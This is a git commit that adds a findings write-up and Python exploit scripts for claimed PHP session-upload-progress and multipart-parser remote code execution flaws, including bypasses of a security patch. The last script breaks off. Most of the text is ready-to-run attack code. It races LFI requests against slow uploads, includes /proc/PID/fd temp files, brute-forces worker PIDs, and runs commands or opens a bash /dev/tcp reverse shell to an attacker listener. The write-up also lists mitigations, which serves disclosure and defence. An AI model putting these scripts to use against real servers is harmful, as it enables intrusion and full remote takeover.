PHP session upload progress RCE exploits (CVE-2026-109618, CVE-2026-109619)
Full RCE exploit chain for two critical PHP vulnerabilities in the multipart parser and session upload progress handler, plus three bypass exploits that defeat the official security patch (PHP 8.4.27) and all recommended mitigations. Core exploits: - CVE-2026-109618: OOM in multipart parser → session persistence → LFI → RCE - CVE-2026-109619: Session poisoning via upload progress (direct + race) → RCE - WordPress-targeted wrapper with LFI auto-detection Patch bypass exploits (confirmed RCE on PHP 8.4.27): - Race condition: TOCTOU inherent to upload progress feature design - RLIMIT_AS: mmap() failure bypasses the patched OOM handler - /proc/PID/fd: temp file inclusion bypasses ALL mitigations
This commit is contained in:
@@ -0,0 +1,101 @@
|
||||
# PHP 8.4.27 Patch Bypass Findings
|
||||
|
||||
## Summary
|
||||
|
||||
The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)
|
||||
for CVE-2026-109618 and CVE-2026-109619 has **three confirmed bypass paths** that
|
||||
achieve Remote Code Execution on fully patched systems.
|
||||
|
||||
The advisory's recommended mitigation `session.upload_progress.enabled=0` blocks
|
||||
two of the three bypasses but is itself defeated by the third.
|
||||
|
||||
## Bypass #1: Race Condition (TOCTOU)
|
||||
|
||||
**File:** `race_bypass_patched.py`
|
||||
**Confirmed RCE:** Yes, first attempt
|
||||
**Patches bypassed:** PHP 8.4.27 OOM fix
|
||||
**Mitigations bypassed:** session.upload_progress.cleanup=1
|
||||
|
||||
The session upload progress feature writes attacker-controlled data to the session
|
||||
file on disk *during* the multipart upload. Cleanup only runs at `MULTIPART_EVENT_END`.
|
||||
A concurrent LFI request can race to include the session file while the upload is
|
||||
still in progress.
|
||||
|
||||
This is a TOCTOU (Time-of-Check-Time-of-Use) issue inherent to the feature's
|
||||
design — the data must exist on disk for the feature to work, creating a window
|
||||
that cannot be eliminated without removing the feature.
|
||||
|
||||
**Blocked by:** `session.upload_progress.enabled=0`
|
||||
|
||||
## Bypass #2: RLIMIT_AS / mmap() Failure
|
||||
|
||||
**File:** `rlimit_bypass_patched.py`
|
||||
**Confirmed RCE:** Yes
|
||||
**Patches bypassed:** PHP 8.4.27 OOM fix (different code path)
|
||||
**Mitigations bypassed:** Standard memory_limit-based OOM handling
|
||||
|
||||
The patch intercepts OOM from PHP's `memory_limit` (via zend_mm allocator).
|
||||
When `memory_limit=-1` and the OS enforces address space limits via `RLIMIT_AS`
|
||||
(or cgroup memory.max), `mmap()` fails through a **different code path** that
|
||||
the patch does not cover.
|
||||
|
||||
- Worker exits with code **1** (not the patched exit code **70**)
|
||||
- Session file **persists** on disk with attacker-controlled PHP code
|
||||
- New worker spawns → LFI includes poisoned session → RCE
|
||||
|
||||
Relevant in production:
|
||||
- Docker/k8s containers with cgroup memory limits
|
||||
- Shared hosting with per-tenant RLIMIT_AS
|
||||
- Admins using `memory_limit=-1` trusting OS-level limits
|
||||
|
||||
**Blocked by:** `session.upload_progress.enabled=0`
|
||||
|
||||
## Bypass #3: /proc/PID/fd Temp File Inclusion
|
||||
|
||||
**File:** `procfd_bypass_hardened.py`
|
||||
**Confirmed RCE:** Yes, first attempt
|
||||
**Patches bypassed:** ALL patches
|
||||
**Mitigations bypassed:** ALL mitigations including `upload_progress=0`
|
||||
|
||||
During a multipart file upload, PHP creates a temporary file with attacker-
|
||||
controlled contents. This file is visible via `/proc/<pid>/fd/<N>` to any
|
||||
process that can read procfs. A concurrent LFI request from a different FPM
|
||||
worker can include this file directly.
|
||||
|
||||
This attack does NOT use session poisoning at all — it bypasses every
|
||||
session-related mitigation.
|
||||
|
||||
**Blocked by:**
|
||||
- Fixing the LFI vulnerability
|
||||
- `hidepid=2` on /proc mount (hides other processes' FDs)
|
||||
- `open_basedir` restricting /proc access
|
||||
- Disabling file uploads entirely (impractical)
|
||||
|
||||
## Mitigation Effectiveness Matrix
|
||||
|
||||
| Mitigation | Race | RLIMIT | /proc/fd |
|
||||
|-------------------------------|------|--------|----------|
|
||||
| PHP 8.4.27 patch alone | FAIL | FAIL | FAIL |
|
||||
| + upload_progress=0 | OK | OK | FAIL |
|
||||
| + hidepid=2 on /proc | FAIL | FAIL | OK |
|
||||
| + upload_progress=0 + hidepid | OK | OK | OK |
|
||||
| Fix the LFI | OK | OK | OK |
|
||||
|
||||
## Tested Vectors That Did NOT Bypass the Patch
|
||||
|
||||
- **Multipart part header flood:** OOM triggered but the patch handles it
|
||||
correctly (exit code 70, session file cleaned up)
|
||||
- **WAF bypass via PUT/PATCH:** Passes POST-only WAF rules but PHP's
|
||||
`session.upload_progress` only fires on POST requests
|
||||
- **Content-Type comma tricks:** Pass WAF matching but PHP doesn't parse
|
||||
as multipart/form-data
|
||||
- **Access log poisoning:** Works conceptually but fragile (previous log
|
||||
entries may cause PHP parse errors)
|
||||
|
||||
## Recommendations
|
||||
|
||||
1. **Immediate:** Set `session.upload_progress.enabled=0` in php.ini
|
||||
2. **Immediate:** Mount /proc with `hidepid=2` (or `hidepid=invisible` on newer kernels)
|
||||
3. **Critical:** Fix any Local File Inclusion vulnerabilities in applications
|
||||
4. **Defense in depth:** Set `open_basedir` to restrict filesystem access
|
||||
5. **Do NOT rely on the patch alone** — it leaves two bypass paths open
|
||||
Executable
+363
@@ -0,0 +1,363 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Hardening Bypass: RCE via /proc/PID/fd temp file inclusion
|
||||
|
||||
This exploit bypasses ALL recommended mitigations for CVE-2026-109618/109619,
|
||||
including the security patch AND session.upload_progress.enabled=0.
|
||||
|
||||
It does NOT use session poisoning at all. Instead, it exploits the fact that
|
||||
during a multipart file upload, PHP creates a temporary file whose contents
|
||||
are attacker-controlled. This file is visible via /proc/<pid>/fd/<N> to any
|
||||
process that can read procfs (i.e., any PHP process on the same host).
|
||||
|
||||
Attack flow:
|
||||
1. Send a multipart POST with a file upload containing PHP code
|
||||
2. While the upload is in progress (slow drip), the temp file exists as an
|
||||
open file descriptor on the receiving FPM worker
|
||||
3. Determine the worker PID (leaked via phpinfo(), getmypid(), error messages,
|
||||
or brute-forced from a narrow PID range)
|
||||
4. From a DIFFERENT FPM worker, include /proc/<PID>/fd/<N> via LFI
|
||||
5. PHP interprets the temp file contents → RCE
|
||||
|
||||
Why this bypasses everything:
|
||||
- No session poisoning → session.upload_progress.enabled=0 is irrelevant
|
||||
- No OOM needed → the PHP 8.4.27 OOM patch is irrelevant
|
||||
- No session file persistence → session.upload_progress.cleanup=1 is irrelevant
|
||||
- Standard multipart upload → WAF rules need to block ALL file uploads
|
||||
|
||||
Limitations:
|
||||
- Requires /proc mounted and readable (standard on Linux, not on BSD/Mac)
|
||||
- Requires knowing or brute-forcing the target worker's PID
|
||||
- Requires multiple FPM workers (upload worker != LFI worker)
|
||||
- FD number is typically 4-7 but may vary
|
||||
|
||||
Real-world PID discovery:
|
||||
- phpinfo() page (common on staging/dev servers)
|
||||
- Application leaking PID in response (getmypid())
|
||||
- PHP error messages may include PID
|
||||
- /proc/sys/kernel/pid_max is usually 32768 → brute-forceable
|
||||
- Container PID namespaces have small PID ranges (often 1-100)
|
||||
|
||||
Tested: PHP 8.4.27 (patched + hardened, upload_progress=0)
|
||||
|
||||
Usage:
|
||||
python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
|
||||
python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
|
||||
python3 procfd_bypass_hardened.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
from urllib.parse import urlparse
|
||||
|
||||
|
||||
def tcp_connect(host, port, tls, timeout=60):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if tls:
|
||||
import ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||
return sock
|
||||
|
||||
|
||||
def recv_all(sock, timeout=5):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
|
||||
def body_of(resp):
|
||||
if b"\r\n\r\n" in resp:
|
||||
return resp.split(b"\r\n\r\n", 1)[1]
|
||||
return resp
|
||||
|
||||
|
||||
def discover_pids(host, port, tls, path, count=20):
|
||||
"""Discover FPM worker PIDs by making requests and parsing pid= from response."""
|
||||
pids = set()
|
||||
for _ in range(count):
|
||||
try:
|
||||
sock = tcp_connect(host, port, tls, timeout=10)
|
||||
sock.sendall(
|
||||
b"GET " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
resp = recv_all(sock, timeout=3)
|
||||
sock.close()
|
||||
body = body_of(resp)
|
||||
m = re.search(rb"pid=(\d+)", body)
|
||||
if m:
|
||||
pids.add(int(m.group(1)))
|
||||
except Exception:
|
||||
continue
|
||||
return sorted(pids)
|
||||
|
||||
|
||||
def slow_upload(host, port, tls, path, php_code, duration=15.0, started=None, done=None):
|
||||
"""Send slow multipart upload to keep temp file FD open."""
|
||||
bnd = b"----PROCFDRCE" + os.urandom(4).hex().encode()
|
||||
|
||||
head = (
|
||||
b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="file"; filename="payload.php"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||
+ php_code + b"\n"
|
||||
)
|
||||
file_size = 4 * 1024 * 1024
|
||||
tail = b"\r\n--" + bnd + b"--\r\n"
|
||||
total = len(head) + file_size + len(tail)
|
||||
|
||||
try:
|
||||
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||
b"Content-Length: " + str(total).encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
+ head
|
||||
)
|
||||
if started:
|
||||
started.set()
|
||||
|
||||
sent = 0
|
||||
t0 = time.time()
|
||||
while sent < file_size and (time.time() - t0) < duration:
|
||||
if done and done.is_set():
|
||||
break
|
||||
sock.sendall(b"\x00" * 4096)
|
||||
sent += 4096
|
||||
time.sleep(0.04)
|
||||
sock.sendall(tail)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
try:
|
||||
recv_all(sock, timeout=2)
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def lfi_probe(host, port, tls, path, lfi_param, proc_path):
|
||||
"""Send LFI request targeting a /proc path."""
|
||||
lfi_url = f"{path}?{lfi_param}={proc_path}"
|
||||
try:
|
||||
sock = tcp_connect(host, port, tls, timeout=10)
|
||||
sock.sendall(
|
||||
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
resp = recv_all(sock, timeout=5)
|
||||
sock.close()
|
||||
return body_of(resp)
|
||||
except Exception:
|
||||
return b""
|
||||
|
||||
|
||||
def run(args):
|
||||
p = urlparse(args.target)
|
||||
tls = p.scheme == "https"
|
||||
host = p.hostname or "127.0.0.1"
|
||||
port = p.port or (443 if tls else 80)
|
||||
path = p.path or "/"
|
||||
|
||||
if args.trigger_only:
|
||||
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
|
||||
elif args.cmd:
|
||||
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
||||
elif args.lhost and args.lport:
|
||||
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
||||
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||
else:
|
||||
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
||||
sys.exit(1)
|
||||
|
||||
print("=" * 65)
|
||||
print(" HARDENING BYPASS: /proc/PID/fd Temp File RCE")
|
||||
print(" Bypasses patch + upload_progress=0 + session cleanup")
|
||||
print("=" * 65)
|
||||
print(f" Target : {args.target}")
|
||||
print(f" LFI param : {args.lfi_param}")
|
||||
if args.cmd:
|
||||
print(f" Command : {args.cmd}")
|
||||
elif args.lhost:
|
||||
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||
print()
|
||||
|
||||
# Discover worker PIDs
|
||||
if args.pid:
|
||||
pids = [args.pid]
|
||||
print(f"[*] Using specified PID: {args.pid}")
|
||||
else:
|
||||
print("[*] Discovering FPM worker PIDs...")
|
||||
pids = discover_pids(host, port, tls, path, count=30)
|
||||
if not pids:
|
||||
print("[!] Could not discover PIDs (target may not echo pid)")
|
||||
print(" Try --pid <pid> or --pid-range <start>-<end>")
|
||||
if args.pid_range:
|
||||
start, end = map(int, args.pid_range.split("-"))
|
||||
pids = list(range(start, end + 1))
|
||||
print(f" Using PID range: {start}-{end}")
|
||||
else:
|
||||
sys.exit(1)
|
||||
else:
|
||||
print(f" Found PIDs: {pids}")
|
||||
print()
|
||||
|
||||
fd_range = range(args.fd_start, args.fd_end + 1)
|
||||
|
||||
for attempt in range(args.attempts):
|
||||
print(f"[*] Attempt {attempt+1}/{args.attempts}")
|
||||
|
||||
started = threading.Event()
|
||||
done = threading.Event()
|
||||
|
||||
# Launch slow uploads on multiple threads to occupy workers
|
||||
threads = []
|
||||
for i in range(args.upload_threads):
|
||||
t = threading.Thread(
|
||||
target=slow_upload,
|
||||
args=(host, port, tls, path, php_code, 15.0,
|
||||
started if i == 0 else None, done),
|
||||
daemon=True,
|
||||
)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
|
||||
started.wait(timeout=5)
|
||||
time.sleep(0.5)
|
||||
print(f" {args.upload_threads} slow uploads in progress")
|
||||
|
||||
hit = False
|
||||
for probe_round in range(args.probes):
|
||||
if hit:
|
||||
break
|
||||
for pid in pids:
|
||||
if hit:
|
||||
break
|
||||
for fd in fd_range:
|
||||
proc_path = f"/proc/{pid}/fd/{fd}"
|
||||
rbody = lfi_probe(host, port, tls, path, args.lfi_param, proc_path)
|
||||
|
||||
if b"CVE2026:" in rbody:
|
||||
text = rbody.decode(errors="replace")
|
||||
if args.trigger_only:
|
||||
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
|
||||
print(f"\n[+] Code execution confirmed!")
|
||||
if m:
|
||||
print(f" {m.group(1)}")
|
||||
elif args.cmd:
|
||||
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
|
||||
result = m.group(1).strip() if m else text[:500]
|
||||
print()
|
||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||
print(result)
|
||||
print("[+] ══════════════════════════════════════════")
|
||||
else:
|
||||
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
|
||||
|
||||
print()
|
||||
print(f"[+] Via: {proc_path}")
|
||||
print("[+] RCE achieved WITHOUT session poisoning!")
|
||||
print("[+] Bypasses: security patch, upload_progress=0,")
|
||||
print("[+] session cleanup, WAF session rules")
|
||||
print("[+] Only mitigation: disable file uploads entirely,")
|
||||
print("[+] mount /proc with hidepid=2, or fix the LFI")
|
||||
hit = True
|
||||
break
|
||||
|
||||
if not hit and probe_round < args.probes - 1:
|
||||
time.sleep(0.01)
|
||||
|
||||
done.set()
|
||||
for t in threads:
|
||||
t.join(timeout=3)
|
||||
|
||||
if hit:
|
||||
return
|
||||
print(f" No hit — upload may have finished or wrong PID/FD range")
|
||||
|
||||
print()
|
||||
print("[!] All attempts failed.")
|
||||
print(" Try: --pid <known_pid> --fd-start 3 --fd-end 10")
|
||||
print(" Or: --upload-threads 3 --probes 200")
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(
|
||||
description="Hardening Bypass: RCE via /proc/PID/fd temp file (Linux only)",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
This exploit does NOT use session poisoning. It includes the PHP temp file
|
||||
created during a multipart upload via /proc/<pid>/fd/<N>.
|
||||
|
||||
It bypasses ALL recommended mitigations:
|
||||
- PHP 8.4.27 security patch
|
||||
- session.upload_progress.enabled=0
|
||||
- session.upload_progress.cleanup=1
|
||||
- WAF rules blocking session-related headers
|
||||
|
||||
The only defenses are:
|
||||
- Fix the LFI vulnerability
|
||||
- Mount /proc with hidepid=2 (hides other processes' FDs)
|
||||
- Disable file uploads entirely (not practical for most apps)
|
||||
- Use open_basedir to restrict /proc access
|
||||
|
||||
Examples:
|
||||
%(prog)s -t http://target/app.php --cmd 'id'
|
||||
%(prog)s -t http://target/app.php --cmd 'id' --pid 12345
|
||||
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||
%(prog)s -t http://target/app.php --trigger-only --pid-range 1-100
|
||||
""")
|
||||
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
|
||||
ap.add_argument("--cmd", help="Command to execute")
|
||||
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
||||
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
||||
ap.add_argument("--trigger-only", action="store_true",
|
||||
help="Confirm vulnerability only")
|
||||
ap.add_argument("--lfi-param", default="page",
|
||||
help="LFI query parameter (default: page)")
|
||||
ap.add_argument("--pid", type=int,
|
||||
help="Known target worker PID")
|
||||
ap.add_argument("--pid-range",
|
||||
help="PID range to brute-force, e.g. 1-100")
|
||||
ap.add_argument("--fd-start", type=int, default=3,
|
||||
help="First FD to probe (default: 3)")
|
||||
ap.add_argument("--fd-end", type=int, default=10,
|
||||
help="Last FD to probe (default: 10)")
|
||||
ap.add_argument("--upload-threads", type=int, default=2,
|
||||
help="Concurrent slow uploads (default: 2)")
|
||||
ap.add_argument("--probes", type=int, default=100,
|
||||
help="LFI probe rounds per attempt (default: 100)")
|
||||
ap.add_argument("--attempts", type=int, default=5,
|
||||
help="Number of attempts (default: 5)")
|
||||
args = ap.parse_args()
|
||||
run(args)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Executable
+265
@@ -0,0 +1,265 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Patch Bypass: RCE via session upload progress race condition on PHP 8.4.27+
|
||||
|
||||
The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)
|
||||
fixes CVE-2026-109618 (OOM-based session persistence) by replacing longjmp()
|
||||
with a soft/hard OOM that ensures proper cleanup.
|
||||
|
||||
However, the session upload progress race condition is NOT fixed by the patch.
|
||||
This is because the race window is inherent to the feature's design:
|
||||
|
||||
1. PHP_SESSION_UPLOAD_PROGRESS writes attacker-controlled data to the session
|
||||
file on disk during multipart parsing (MULTIPART_EVENT_START/UPDATE)
|
||||
2. The session file contains: upload_progress_<PHP_CODE>|a:5:{serialized_data}
|
||||
3. The data persists on disk for the duration of the file upload
|
||||
4. Cleanup only runs at MULTIPART_EVENT_END when parsing completes
|
||||
5. A concurrent request can include the session file via LFI during this window
|
||||
|
||||
The patch fixes the OOM path (where cleanup was skipped entirely) but does not
|
||||
close this inherent TOCTOU race. The advisory acknowledges this by recommending
|
||||
session.upload_progress.enabled=0 even after patching.
|
||||
|
||||
Requirements:
|
||||
- PHP-FPM (or mod_php) with session.upload_progress.enabled=1 (DEFAULT)
|
||||
- An LFI vector in the target application
|
||||
- Known or guessable session.save_path
|
||||
- Multiple FPM workers (pm.max_children > 1)
|
||||
|
||||
Tested: PHP 8.4.27 (patched), PHP 8.4.24 (unpatched), PHP 8.3.0
|
||||
|
||||
Usage:
|
||||
python3 race_bypass_patched.py -t http://target/app.php --cmd 'id'
|
||||
python3 race_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
from urllib.parse import urlparse
|
||||
|
||||
SESSION_PATHS = [
|
||||
"/tmp",
|
||||
"/tmp/php-sessions",
|
||||
"/var/lib/php/sessions",
|
||||
"/var/lib/php5/sessions",
|
||||
]
|
||||
|
||||
def tcp_connect(host, port, tls, timeout=60):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if tls:
|
||||
import ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||
return sock
|
||||
|
||||
def recv_all(sock, timeout=5):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
def body_of(resp):
|
||||
if b"\r\n\r\n" in resp:
|
||||
return resp.split(b"\r\n\r\n", 1)[1]
|
||||
return resp
|
||||
|
||||
def slow_upload(host, port, tls, path, sid, php_code, duration=10.0):
|
||||
"""Send slow multipart upload to keep session file populated on disk."""
|
||||
bnd = b"----RACEBYPASS" + os.urandom(4).hex().encode()
|
||||
head = (
|
||||
b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
|
||||
b"\r\n" + php_code + b"\r\n"
|
||||
b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||
)
|
||||
file_size = 4 * 1024 * 1024
|
||||
tail = b"\r\n--" + bnd + b"--\r\n"
|
||||
total = len(head) + file_size + len(tail)
|
||||
|
||||
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||
b"Content-Length: " + str(total).encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
+ head
|
||||
)
|
||||
sent = 0
|
||||
t0 = time.time()
|
||||
try:
|
||||
while sent < file_size and (time.time() - t0) < duration:
|
||||
sock.sendall(b"\x00" * 4096)
|
||||
sent += 4096
|
||||
time.sleep(0.04)
|
||||
sock.sendall(tail)
|
||||
except:
|
||||
pass
|
||||
try:
|
||||
recv_all(sock, timeout=2)
|
||||
except:
|
||||
pass
|
||||
sock.close()
|
||||
|
||||
|
||||
def lfi_probe(host, port, tls, lfi_path, sid):
|
||||
"""Send LFI request and return response body."""
|
||||
sock = tcp_connect(host, port, tls, timeout=10)
|
||||
sock.sendall(
|
||||
b"GET " + lfi_path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
resp = recv_all(sock, timeout=5)
|
||||
sock.close()
|
||||
return resp
|
||||
|
||||
|
||||
def run(args):
|
||||
p = urlparse(args.target)
|
||||
tls = p.scheme == "https"
|
||||
host = p.hostname or "127.0.0.1"
|
||||
port = p.port or (443 if tls else 80)
|
||||
path = p.path or "/"
|
||||
|
||||
spaths = list(SESSION_PATHS)
|
||||
if args.session_path:
|
||||
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
|
||||
|
||||
if args.trigger_only:
|
||||
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
|
||||
elif args.cmd:
|
||||
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
||||
elif args.lhost and args.lport:
|
||||
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
||||
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||
else:
|
||||
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
||||
sys.exit(1)
|
||||
|
||||
print("=" * 65)
|
||||
print(" PATCH BYPASS: Race Condition RCE on PHP 8.4.27+ (patched)")
|
||||
print(" Session upload progress race — NOT fixed by the 2026-10-21 patch")
|
||||
print("=" * 65)
|
||||
print(f" Target : {args.target}")
|
||||
print(f" LFI param : {args.lfi_param}")
|
||||
if args.cmd:
|
||||
print(f" Command : {args.cmd}")
|
||||
elif args.lhost:
|
||||
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||
print()
|
||||
|
||||
for attempt in range(args.attempts):
|
||||
sid = os.urandom(16).hex()
|
||||
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
|
||||
|
||||
t = threading.Thread(
|
||||
target=slow_upload,
|
||||
args=(host, port, tls, path, sid, php_code, 10.0),
|
||||
daemon=True,
|
||||
)
|
||||
t.start()
|
||||
time.sleep(0.3)
|
||||
|
||||
hit = False
|
||||
for i in range(400):
|
||||
if not t.is_alive():
|
||||
break
|
||||
for sp in spaths:
|
||||
sess_file = f"{sp}/sess_{sid}"
|
||||
lfi_path = f"{path}?{args.lfi_param}={sess_file}"
|
||||
try:
|
||||
resp = lfi_probe(host, port, tls, lfi_path, sid)
|
||||
rbody = body_of(resp)
|
||||
if b"CVE2026:" in rbody:
|
||||
if args.trigger_only:
|
||||
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)",
|
||||
rbody.decode(errors="replace"))
|
||||
print(f"\n[+] Code execution confirmed!")
|
||||
if m:
|
||||
print(f" {m.group(1)}")
|
||||
elif args.cmd:
|
||||
m = re.search(r"CVE2026:(.*?):END",
|
||||
rbody.decode(errors="replace"), re.DOTALL)
|
||||
result = m.group(1).strip() if m else rbody.decode(errors="replace")[:500]
|
||||
print()
|
||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||
print(result)
|
||||
print("[+] ══════════════════════════════════════════")
|
||||
else:
|
||||
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
|
||||
|
||||
print()
|
||||
print("[+] RCE achieved against PATCHED PHP!")
|
||||
print("[+] The 2026-10-21 security patch does NOT fix this.")
|
||||
print("[+] Mitigation: session.upload_progress.enabled=0")
|
||||
hit = True
|
||||
break
|
||||
except:
|
||||
pass
|
||||
if hit:
|
||||
break
|
||||
time.sleep(0.005)
|
||||
|
||||
t.join(timeout=2)
|
||||
if hit:
|
||||
return
|
||||
print(f" Race lost")
|
||||
|
||||
print("\n[!] All attempts failed. Try --attempts 20 or --session-path")
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(
|
||||
description="Patch Bypass: RCE via session race on PHP 8.4.27+ (patched)",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
This exploit demonstrates that the PHP security patch (2026-10-21)
|
||||
does NOT fix the session upload progress race condition.
|
||||
|
||||
The only effective mitigation is: session.upload_progress.enabled=0
|
||||
|
||||
Examples:
|
||||
%(prog)s -t http://target/app.php --cmd 'id'
|
||||
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
|
||||
""")
|
||||
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
|
||||
ap.add_argument("--cmd", help="Command to execute")
|
||||
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
||||
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
||||
ap.add_argument("--trigger-only", action="store_true",
|
||||
help="Confirm vulnerability only")
|
||||
ap.add_argument("--lfi-param", default="page",
|
||||
help="LFI query parameter (default: page)")
|
||||
ap.add_argument("--session-path",
|
||||
help="session.save_path on target")
|
||||
ap.add_argument("--attempts", type=int, default=10,
|
||||
help="Race attempts (default: 10)")
|
||||
args = ap.parse_args()
|
||||
run(args)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Executable
+312
@@ -0,0 +1,312 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+ (patched)
|
||||
|
||||
The PHP security patch (2026-10-21) replaces longjmp()-based OOM handling with:
|
||||
- Soft OOM: deferred to VM safe point (graceful shutdown)
|
||||
- Hard OOM: immediate _exit(70) when allocation fails during parsing
|
||||
|
||||
However, this patch only intercepts OOM from PHP's memory_limit (zend_mm).
|
||||
When memory_limit=-1 (unlimited) and the OS enforces address space limits via
|
||||
RLIMIT_AS (setrlimit/ulimit -v/cgroup memory.max), mmap() fails during
|
||||
multipart field allocation. This failure goes through a DIFFERENT code path
|
||||
that the patch does NOT cover:
|
||||
|
||||
1. PHP has memory_limit=-1 → no PHP-level OOM possible
|
||||
2. RLIMIT_AS (or cgroup memory limit) restricts process address space
|
||||
3. During multipart parsing, mmap() fails when address space is exhausted
|
||||
